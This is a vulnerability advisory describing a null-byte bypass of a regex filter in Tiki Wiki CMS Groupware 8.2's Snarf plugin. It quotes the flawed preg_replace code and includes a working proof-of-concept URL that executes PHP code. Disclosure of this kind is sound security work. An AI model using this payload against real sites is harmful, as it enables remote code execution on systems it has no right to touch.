------------------------------------------------------------------------- Tiki Wiki CMS Groupware <= 8.2 (snarf_ajax.php) Remote PHP Code Injection ------------------------------------------------------------------------- author...........: Egidio Romano aka EgiX mail.............: n0b0d13s[at]gmail[dot]com software link....: http://info.tiki.org/ [-] Vulnerability explanation: The vulnerable code is located into /lib/wiki-plugins/wikiplugin_snarf.php: 170. // If the user specified a more specialized regex 171. if ( isset($params['regex']) && isset($params['regexres']) && preg_match('/^(.)(.)+\1[^e]*$/', $params['regex']) ) { 172.$snarf = preg_replace( $params['regex'], $params['regexres'], $snarf ); 173. } input passed through $_REQUEST['regex'] is checked by a regular expression at line 171 to prevent execution of arbitrary PHP code using the'e'modifier in a call to preg_replace() at line 172. Butthischeckcouldbebypassedwith anull byte injection,requesting an URL like this: http://<hostname>/tiki-8.2/snarf_ajax.php?url=1®exres=phpinfo()®ex=//e%00/ Tiki internal filters removeall null bytesfrom user input,but for some strange reasonthis doesn'thappen within admin sessions. So, successful exploitation of this vulnerability requires an user account withadministrationrights and'PluginSnarf'to be enabled(not by default).
